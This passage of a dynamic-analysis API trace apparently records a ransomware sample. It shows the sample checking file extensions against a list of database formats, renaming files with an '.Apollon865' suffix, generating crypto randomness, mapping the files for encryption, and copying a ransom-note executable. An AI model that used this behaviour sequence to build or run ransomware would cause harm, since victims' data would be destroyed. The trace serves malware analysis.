	[0047.461] lstrcmpiW (lpString1="-ms", lpString2="btr") returned 1
	[0047.461] lstrlenW (lpString="cat") returned 3
	[0047.461] lstrcmpiW (lpString1="-ms", lpString2="cat") returned 1
	[0047.461] lstrlenW (lpString="cdb") returned 3
	[0047.461] lstrcmpiW (lpString1="-ms", lpString2="cdb") returned 1
	[0047.461] lstrlenW (lpString="ckp") returned 3
	[0047.461] lstrcmpiW (lpString1="-ms", lpString2="ckp") returned 1
	[0047.461] lstrlenW (lpString="cma") returned 3
	[0047.461] lstrcmpiW (lpString1="-ms", lpString2="cma") returned 1
	[0047.461] lstrlenW (lpString="cpd") returned 3
	[0047.461] lstrcmpiW (lpString1="-ms", lpString2="cpd") returned 1
	[0047.461] lstrlenW (lpString="dacpac") returned 6
	[0047.461] lstrcmpiW (lpString1="rch-ms", lpString2="dacpac") returned 1
	[0047.461] lstrlenW (lpString="dad") returned 3
	[0047.461] lstrcmpiW (lpString1="-ms", lpString2="dad") returned 1
	[0047.461] lstrlenW (lpString="dadiagrams") returned 10
	[0047.461] lstrcmpiW (lpString1=".search-ms", lpString2="dadiagrams") returned -1
	[0047.461] lstrlenW (lpString="daschema") returned 8
	[0047.461] lstrcmpiW (lpString1="earch-ms", lpString2="daschema") returned 1
	[0047.461] lstrlenW (lpString="db-journal") returned 10
	[0047.461] lstrcmpiW (lpString1=".search-ms", lpString2="db-journal") returned -1
	[0047.461] lstrlenW (lpString="db-shm") returned 6
	[0047.461] lstrcmpiW (lpString1="rch-ms", lpString2="db-shm") returned 1
	[0047.461] lstrlenW (lpString="db-wal") returned 6
	[0047.461] lstrcmpiW (lpString1="rch-ms", lpString2="db-wal") returned 1
	[0047.461] lstrlenW (lpString="dbc") returned 3
	[0047.461] lstrcmpiW (lpString1="-ms", lpString2="dbc") returned 1
	[0047.462] lstrlenW (lpString="dbs") returned 3
	[0047.462] lstrcmpiW (lpString1="-ms", lpString2="dbs") returned 1
	[0047.462] lstrlenW (lpString="dbt") returned 3
	[0047.462] lstrcmpiW (lpString1="-ms", lpString2="dbt") returned 1
	[0047.462] lstrlenW (lpString="dbv") returned 3
	[0047.462] lstrcmpiW (lpString1="-ms", lpString2="dbv") returned 1
	[0047.462] lstrlenW (lpString="dbx") returned 3
	[0047.462] lstrcmpiW (lpString1="-ms", lpString2="dbx") returned 1
	[0047.462] lstrlenW (lpString="dcb") returned 3
	[0047.462] lstrcmpiW (lpString1="-ms", lpString2="dcb") returned 1
	[0047.462] lstrlenW (lpString="dct") returned 3
	[0047.462] lstrcmpiW (lpString1="-ms", lpString2="dct") returned 1
	[0047.462] lstrlenW (lpString="dcx") returned 3
	[0047.462] lstrcmpiW (lpString1="-ms", lpString2="dcx") returned 1
	[0047.462] lstrlenW (lpString="ddl") returned 3
	[0047.462] lstrcmpiW (lpString1="-ms", lpString2="ddl") returned 1
	[0047.462] lstrlenW (lpString="dlis") returned 4
	[0047.462] lstrcmpiW (lpString1="h-ms", lpString2="dlis") returned 1
	[0047.462] lstrlenW (lpString="dp1") returned 3
	[0047.462] lstrcmpiW (lpString1="-ms", lpString2="dp1") returned 1
	[0047.462] lstrlenW (lpString="dqy") returned 3
	[0047.462] lstrcmpiW (lpString1="-ms", lpString2="dqy") returned 1
	[0047.462] lstrlenW (lpString="dsk") returned 3
	[0047.462] lstrcmpiW (lpString1="-ms", lpString2="dsk") returned 1
	[0047.462] lstrlenW (lpString="dsn") returned 3
	[0047.462] lstrcmpiW (lpString1="-ms", lpString2="dsn") returned 1
	[0047.462] lstrlenW (lpString="dtsx") returned 4
	[0047.462] lstrcmpiW (lpString1="h-ms", lpString2="dtsx") returned 1
	[0047.462] lstrlenW (lpString="dxl") returned 3
	[0047.462] lstrcmpiW (lpString1="-ms", lpString2="dxl") returned 1
	[0047.462] lstrlenW (lpString="eco") returned 3
	[0047.462] lstrcmpiW (lpString1="-ms", lpString2="eco") returned 1
	[0047.463] lstrlenW (lpString="ecx") returned 3
	[0047.463] lstrcmpiW (lpString1="-ms", lpString2="ecx") returned 1
	[0047.463] lstrlenW (lpString="edb") returned 3
	[0047.463] lstrcmpiW (lpString1="-ms", lpString2="edb") returned 1
	[0047.463] lstrlenW (lpString="epim") returned 4
	[0047.463] lstrcmpiW (lpString1="h-ms", lpString2="epim") returned 1
	[0047.463] lstrlenW (lpString="fcd") returned 3
	[0047.463] lstrcmpiW (lpString1="-ms", lpString2="fcd") returned 1
	[0047.463] lstrlenW (lpString="fdb") returned 3
	[0047.463] lstrcmpiW (lpString1="-ms", lpString2="fdb") returned 1
	[0047.463] lstrlenW (lpString="fic") returned 3
	[0047.463] lstrcmpiW (lpString1="-ms", lpString2="fic") returned 1
	[0047.463] lstrlenW (lpString="flexolibrary") returned 12
	[0047.463] lstrcmpiW (lpString1="ns.search-ms", lpString2="flexolibrary") returned 1
	[0047.463] lstrlenW (lpString="fm5") returned 3
	[0047.463] lstrcmpiW (lpString1="-ms", lpString2="fm5") returned 1
	[0047.463] lstrlenW (lpString="fmp") returned 3
	[0047.463] lstrcmpiW (lpString1="-ms", lpString2="fmp") returned 1
	[0047.463] lstrlenW (lpString="fmp12") returned 5
	[0047.463] lstrcmpiW (lpString1="ch-ms", lpString2="fmp12") returned -1
	[0047.463] lstrlenW (lpString="fmpsl") returned 5
	[0047.463] lstrcmpiW (lpString1="ch-ms", lpString2="fmpsl") returned -1
	[0047.463] lstrlenW (lpString="fol") returned 3
	[0047.463] lstrcmpiW (lpString1="-ms", lpString2="fol") returned 1
	[0047.463] lstrlenW (lpString="fp3") returned 3
	[0047.463] lstrcmpiW (lpString1="-ms", lpString2="fp3") returned 1
	[0047.463] lstrlenW (lpString="fp4") returned 3
	[0047.463] lstrcmpiW (lpString1="-ms", lpString2="fp4") returned 1
	[0047.463] lstrlenW (lpString="fp5") returned 3
	[0047.463] lstrcmpiW (lpString1="-ms", lpString2="fp5") returned 1
	[0047.463] lstrlenW (lpString="fp7") returned 3
	[0047.463] lstrcmpiW (lpString1="-ms", lpString2="fp7") returned 1
	[0047.463] lstrlenW (lpString="fpt") returned 3
	[0047.463] lstrcmpiW (lpString1="-ms", lpString2="fpt") returned 1
	[0047.464] lstrlenW (lpString="frm") returned 3
	[0047.464] lstrcmpiW (lpString1="-ms", lpString2="frm") returned 1
	[0047.464] lstrlenW (lpString="gdb") returned 3
	[0047.464] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1
	[0047.464] lstrlenW (lpString="gdb") returned 3
	[0047.464] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1
	[0047.464] lstrlenW (lpString="grdb") returned 4
	[0047.464] lstrcmpiW (lpString1="h-ms", lpString2="grdb") returned 1
	[0047.464] lstrlenW (lpString="gwi") returned 3
	[0047.464] lstrcmpiW (lpString1="-ms", lpString2="gwi") returned 1
	[0047.464] lstrlenW (lpString="hdb") returned 3
	[0047.464] lstrcmpiW (lpString1="-ms", lpString2="hdb") returned 1
	[0047.464] lstrlenW (lpString="his") returned 3
	[0047.464] lstrcmpiW (lpString1="-ms", lpString2="his") returned 1
	[0047.464] lstrlenW (lpString="ib") returned 2
	[0047.464] lstrcmpiW (lpString1="ms", lpString2="ib") returned 1
	[0047.464] lstrlenW (lpString="idb") returned 3
	[0047.464] lstrcmpiW (lpString1="-ms", lpString2="idb") returned 1
	[0047.464] lstrlenW (lpString="ihx") returned 3
	[0047.464] lstrcmpiW (lpString1="-ms", lpString2="ihx") returned 1
	[0047.464] lstrlenW (lpString="itdb") returned 4
	[0047.464] lstrcmpiW (lpString1="h-ms", lpString2="itdb") returned -1
	[0047.464] lstrlenW (lpString="itw") returned 3
	[0047.464] lstrcmpiW (lpString1="-ms", lpString2="itw") returned 1
	[0047.464] lstrlenW (lpString="jet") returned 3
	[0047.464] lstrcmpiW (lpString1="-ms", lpString2="jet") returned 1
	[0047.464] lstrlenW (lpString="jtx") returned 3
	[0047.464] lstrcmpiW (lpString1="-ms", lpString2="jtx") returned 1
	[0047.464] lstrlenW (lpString="kdb") returned 3
	[0047.464] lstrcmpiW (lpString1="-ms", lpString2="kdb") returned 1
	[0047.464] lstrlenW (lpString="kexi") returned 4
	[0047.464] lstrcmpiW (lpString1="h-ms", lpString2="kexi") returned -1
	[0047.464] lstrlenW (lpString="kexic") returned 5
	[0047.464] lstrcmpiW (lpString1="ch-ms", lpString2="kexic") returned -1
	[0047.465] lstrlenW (lpString="kexis") returned 5
	[0047.465] lstrcmpiW (lpString1="ch-ms", lpString2="kexis") returned -1
	[0047.465] lstrlenW (lpString="lgc") returned 3
	[0047.465] lstrcmpiW (lpString1="-ms", lpString2="lgc") returned 1
	[0047.465] lstrlenW (lpString="lwx") returned 3
	[0047.465] lstrcmpiW (lpString1="-ms", lpString2="lwx") returned 1
	[0047.465] lstrlenW (lpString="maf") returned 3
	[0047.465] lstrcmpiW (lpString1="-ms", lpString2="maf") returned 1
	[0047.465] lstrlenW (lpString="maq") returned 3
	[0047.465] lstrcmpiW (lpString1="-ms", lpString2="maq") returned 1
	[0047.465] lstrlenW (lpString="mar") returned 3
	[0047.465] lstrcmpiW (lpString1="-ms", lpString2="mar") returned 1
	[0047.465] lstrlenW (lpString="marshal") returned 7
	[0047.465] lstrcmpiW (lpString1="arch-ms", lpString2="marshal") returned -1
	[0047.465] lstrlenW (lpString="mas") returned 3
	[0047.465] lstrcmpiW (lpString1="-ms", lpString2="mas") returned 1
	[0047.465] lstrlenW (lpString="mav") returned 3
	[0047.465] lstrcmpiW (lpString1="-ms", lpString2="mav") returned 1
	[0047.465] lstrlenW (lpString="maw") returned 3
	[0047.465] lstrcmpiW (lpString1="-ms", lpString2="maw") returned 1
	[0047.465] lstrlenW (lpString="mdbhtml") returned 7
	[0047.465] lstrcmpiW (lpString1="arch-ms", lpString2="mdbhtml") returned -1
	[0047.465] lstrlenW (lpString="mdn") returned 3
	[0047.465] lstrcmpiW (lpString1="-ms", lpString2="mdn") returned 1
	[0047.465] lstrlenW (lpString="mdt") returned 3
	[0047.465] lstrcmpiW (lpString1="-ms", lpString2="mdt") returned 1
	[0047.465] lstrlenW (lpString="mfd") returned 3
	[0047.465] lstrcmpiW (lpString1="-ms", lpString2="mfd") returned 1
	[0047.465] lstrlenW (lpString="mpd") returned 3
	[0047.465] lstrcmpiW (lpString1="-ms", lpString2="mpd") returned 1
	[0047.465] lstrlenW (lpString="mrg") returned 3
	[0047.465] lstrcmpiW (lpString1="-ms", lpString2="mrg") returned 1
	[0047.466] lstrlenW (lpString="mud") returned 3
	[0047.466] lstrcmpiW (lpString1="-ms", lpString2="mud") returned -1
	[0047.466] lstrlenW (lpString="mwb") returned 3
	[0047.466] lstrcmpiW (lpString1="-ms", lpString2="mwb") returned -1
	[0047.466] lstrlenW (lpString="myd") returned 3
	[0047.466] lstrcmpiW (lpString1="-ms", lpString2="myd") returned -1
	[0047.466] lstrlenW (lpString="ndf") returned 3
	[0047.466] lstrcmpiW (lpString1="-ms", lpString2="ndf") returned -1
	[0047.466] lstrlenW (lpString="nnt") returned 3
	[0047.466] lstrcmpiW (lpString1="-ms", lpString2="nnt") returned -1
	[0047.466] lstrlenW (lpString="nrmlib") returned 6
	[0047.466] lstrcmpiW (lpString1="rch-ms", lpString2="nrmlib") returned 1
	[0047.466] lstrlenW (lpString="ns2") returned 3
	[0047.466] lstrcmpiW (lpString1="-ms", lpString2="ns2") returned -1
	[0047.466] lstrlenW (lpString="ns3") returned 3
	[0047.466] lstrcmpiW (lpString1="-ms", lpString2="ns3") returned -1
	[0047.466] lstrlenW (lpString="ns4") returned 3
	[0047.466] lstrcmpiW (lpString1="-ms", lpString2="ns4") returned -1
	[0047.466] lstrlenW (lpString="nsf") returned 3
	[0047.466] lstrcmpiW (lpString1="-ms", lpString2="nsf") returned -1
	[0047.466] lstrlenW (lpString="nv") returned 2
	[0047.466] lstrcmpiW (lpString1="ms", lpString2="nv") returned -1
	[0047.466] lstrlenW (lpString="nv2") returned 3
	[0047.466] lstrcmpiW (lpString1="-ms", lpString2="nv2") returned -1
	[0047.466] lstrlenW (lpString="nwdb") returned 4
	[0047.466] lstrcmpiW (lpString1="h-ms", lpString2="nwdb") returned -1
	[0047.466] lstrlenW (lpString="nyf") returned 3
	[0047.466] lstrcmpiW (lpString1="-ms", lpString2="nyf") returned -1
	[0047.466] lstrlenW (lpString="odb") returned 3
	[0047.466] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1
	[0047.466] lstrlenW (lpString="odb") returned 3
	[0047.466] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1
	[0047.467] lstrlenW (lpString="oqy") returned 3
	[0047.467] lstrcmpiW (lpString1="-ms", lpString2="oqy") returned -1
	[0047.467] lstrlenW (lpString="ora") returned 3
	[0047.467] lstrcmpiW (lpString1="-ms", lpString2="ora") returned -1
	[0047.467] lstrlenW (lpString="orx") returned 3
	[0047.467] lstrcmpiW (lpString1="-ms", lpString2="orx") returned -1
	[0047.467] lstrlenW (lpString="owc") returned 3
	[0047.467] lstrcmpiW (lpString1="-ms", lpString2="owc") returned -1
	[0047.467] lstrlenW (lpString="p96") returned 3
	[0047.467] lstrcmpiW (lpString1="-ms", lpString2="p96") returned -1
	[0047.467] lstrlenW (lpString="p97") returned 3
	[0047.467] lstrcmpiW (lpString1="-ms", lpString2="p97") returned -1
	[0047.467] lstrlenW (lpString="pan") returned 3
	[0047.467] lstrcmpiW (lpString1="-ms", lpString2="pan") returned -1
	[0047.467] lstrlenW (lpString="pdb") returned 3
	[0047.467] lstrcmpiW (lpString1="-ms", lpString2="pdb") returned -1
	[0047.467] lstrlenW (lpString="pdm") returned 3
	[0047.467] lstrcmpiW (lpString1="-ms", lpString2="pdm") returned -1
	[0047.467] lstrlenW (lpString="pnz") returned 3
	[0047.467] lstrcmpiW (lpString1="-ms", lpString2="pnz") returned -1
	[0047.467] lstrlenW (lpString="qry") returned 3
	[0047.467] lstrcmpiW (lpString1="-ms", lpString2="qry") returned -1
	[0047.467] lstrlenW (lpString="qvd") returned 3
	[0047.467] lstrcmpiW (lpString1="-ms", lpString2="qvd") returned -1
	[0047.467] lstrlenW (lpString="rbf") returned 3
	[0047.467] lstrcmpiW (lpString1="-ms", lpString2="rbf") returned -1
	[0047.467] lstrlenW (lpString="rctd") returned 4
	[0047.467] lstrcmpiW (lpString1="h-ms", lpString2="rctd") returned -1
	[0047.467] lstrlenW (lpString="rod") returned 3
	[0047.467] lstrcmpiW (lpString1="-ms", lpString2="rod") returned -1
	[0047.467] lstrlenW (lpString="rodx") returned 4
	[0047.467] lstrcmpiW (lpString1="h-ms", lpString2="rodx") returned -1
	[0047.467] lstrlenW (lpString="rpd") returned 3
	[0047.467] lstrcmpiW (lpString1="-ms", lpString2="rpd") returned -1
	[0047.468] lstrlenW (lpString="rsd") returned 3
	[0047.468] lstrcmpiW (lpString1="-ms", lpString2="rsd") returned -1
	[0047.468] lstrlenW (lpString="sas7bdat") returned 8
	[0047.468] lstrcmpiW (lpString1="earch-ms", lpString2="sas7bdat") returned -1
	[0047.468] lstrlenW (lpString="sbf") returned 3
	[0047.468] lstrcmpiW (lpString1="-ms", lpString2="sbf") returned -1
	[0047.468] lstrlenW (lpString="scx") returned 3
	[0047.468] lstrcmpiW (lpString1="-ms", lpString2="scx") returned -1
	[0047.468] lstrlenW (lpString="sdb") returned 3
	[0047.468] lstrcmpiW (lpString1="-ms", lpString2="sdb") returned -1
	[0047.468] lstrlenW (lpString="sdc") returned 3
	[0047.468] lstrcmpiW (lpString1="-ms", lpString2="sdc") returned -1
	[0047.468] lstrlenW (lpString="sdf") returned 3
	[0047.468] lstrcmpiW (lpString1="-ms", lpString2="sdf") returned -1
	[0047.468] lstrlenW (lpString="sis") returned 3
	[0047.468] lstrcmpiW (lpString1="-ms", lpString2="sis") returned -1
	[0047.468] lstrlenW (lpString="spq") returned 3
	[0047.468] lstrcmpiW (lpString1="-ms", lpString2="spq") returned -1
	[0047.468] lstrlenW (lpString="te") returned 2
	[0047.468] lstrcmpiW (lpString1="ms", lpString2="te") returned -1
	[0047.468] lstrlenW (lpString="teacher") returned 7
	[0047.468] lstrcmpiW (lpString1="arch-ms", lpString2="teacher") returned -1
	[0047.468] lstrlenW (lpString="tmd") returned 3
	[0047.468] lstrcmpiW (lpString1="-ms", lpString2="tmd") returned -1
	[0047.468] lstrlenW (lpString="tps") returned 3
	[0047.468] lstrcmpiW (lpString1="-ms", lpString2="tps") returned -1
	[0047.468] lstrlenW (lpString="trc") returned 3
	[0047.468] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1
	[0047.468] lstrlenW (lpString="trc") returned 3
	[0047.468] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1
	[0047.468] lstrlenW (lpString="trm") returned 3
	[0047.468] lstrcmpiW (lpString1="-ms", lpString2="trm") returned -1
	[0047.468] lstrlenW (lpString="udb") returned 3
	[0047.469] lstrcmpiW (lpString1="-ms", lpString2="udb") returned -1
	[0047.469] lstrlenW (lpString="udl") returned 3
	[0047.469] lstrcmpiW (lpString1="-ms", lpString2="udl") returned -1
	[0047.469] lstrlenW (lpString="usr") returned 3
	[0047.469] lstrcmpiW (lpString1="-ms", lpString2="usr") returned -1
	[0047.469] lstrlenW (lpString="v12") returned 3
	[0047.469] lstrcmpiW (lpString1="-ms", lpString2="v12") returned -1
	[0047.469] lstrlenW (lpString="vis") returned 3
	[0047.469] lstrcmpiW (lpString1="-ms", lpString2="vis") returned -1
	[0047.469] lstrlenW (lpString="vpd") returned 3
	[0047.469] lstrcmpiW (lpString1="-ms", lpString2="vpd") returned -1
	[0047.469] lstrlenW (lpString="vvv") returned 3
	[0047.469] lstrcmpiW (lpString1="-ms", lpString2="vvv") returned -1
	[0047.469] lstrlenW (lpString="wdb") returned 3
	[0047.469] lstrcmpiW (lpString1="-ms", lpString2="wdb") returned -1
	[0047.469] lstrlenW (lpString="wmdb") returned 4
	[0047.469] lstrcmpiW (lpString1="h-ms", lpString2="wmdb") returned -1
	[0047.469] lstrlenW (lpString="wrk") returned 3
	[0047.469] lstrcmpiW (lpString1="-ms", lpString2="wrk") returned -1
	[0047.469] lstrlenW (lpString="xdb") returned 3
	[0047.469] lstrcmpiW (lpString1="-ms", lpString2="xdb") returned -1
	[0047.469] lstrlenW (lpString="xld") returned 3
	[0047.469] lstrcmpiW (lpString1="-ms", lpString2="xld") returned -1
	[0047.469] lstrlenW (lpString="xmlff") returned 5
	[0047.469] lstrcmpiW (lpString1="ch-ms", lpString2="xmlff") returned -1
	[0047.469] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\Searches\\Indexed Locations.search-ms.Apollon865") returned 64
	[0047.469] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\default\\searches\\indexed locations.search-ms"), lpNewFileName="C:\\Users\\Default\\Searches\\Indexed Locations.search-ms.Apollon865" (normalized: "c:\\users\\default\\searches\\indexed locations.search-ms.apollon865"), dwFlags=0x1) returned 1
	[0047.470] CreateFileW (lpFileName="C:\\Users\\Default\\Searches\\Indexed Locations.search-ms.Apollon865" (normalized: "c:\\users\\default\\searches\\indexed locations.search-ms.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0047.470] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=248) returned 1
	[0047.470] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0047.470] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0047.470] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0047.471] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf568) returned 1
	[0047.472] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0047.472] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0047.472] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x400, lpName=0x0) returned 0x150
	[0047.504] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x400) returned 0x100000
	[0047.529] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf568) returned 1
	[0047.529] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0047.529] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0047.530] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0047.530] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0047.530] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0047.530] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0047.530] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0047.530] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0047.530] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28d0
	[0047.530] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0047.530] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28d0 | out: hHeap=0x580000) returned 1
	[0047.530] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0047.530] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0047.530] CloseHandle (hObject=0x150) returned 1
	[0047.530] CloseHandle (hObject=0x15c) returned 1
	[0047.530] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0047.530] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0047.530] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0047.531] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0
	[0047.531] FindClose (in: hFindFile=0x5ca050 | out: hFindFile=0x5ca050) returned 1
	[0047.531] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fdb0
	[0047.531] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\Saved Games", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Saved Games") returned="C:\\Users\\Default\\Saved Games"
	[0047.531] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b62c8 | out: hHeap=0x580000) returned 1
	[0047.531] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fda8 | out: hHeap=0x580000) returned 1
	[0047.531] lstrlenW (lpString="C:\\Users\\Default\\Saved Games") returned 28
	[0047.531] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Saved Games" | out: lpString1="C:\\Users\\Default\\Saved Games") returned="C:\\Users\\Default\\Saved Games"
	[0047.531] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.531] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Saved Games\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\saved games\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0047.531] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0047.531] GetLastError () returned 0x20
	[0047.531] Sleep (dwMilliseconds=0xc8) 
	[0047.730] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0047.731] GetLastError () returned 0x20
	[0047.731] Sleep (dwMilliseconds=0xc8) 
	[0047.928] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0047.928] GetLastError () returned 0x20
	[0047.928] Sleep (dwMilliseconds=0xc8) 
	[0048.144] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0048.144] GetLastError () returned 0x20
	[0048.144] Sleep (dwMilliseconds=0xc8) 
	[0048.348] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0048.348] GetLastError () returned 0x20
	[0048.348] Sleep (dwMilliseconds=0xc8) 
	[0048.557] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0048.557] GetLastError () returned 0x20
	[0048.557] Sleep (dwMilliseconds=0xc8) 
	[0048.751] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0048.751] GetLastError () returned 0x20
	[0048.751] Sleep (dwMilliseconds=0xc8) 
	[0048.977] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0048.977] GetLastError () returned 0x20
	[0048.977] Sleep (dwMilliseconds=0xc8) 
	[0049.184] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0049.184] GetLastError () returned 0x20
	[0049.184] Sleep (dwMilliseconds=0xc8) 
	[0049.378] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0049.378] GetLastError () returned 0x20
	[0049.378] Sleep (dwMilliseconds=0xc8) 
	[0049.656] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
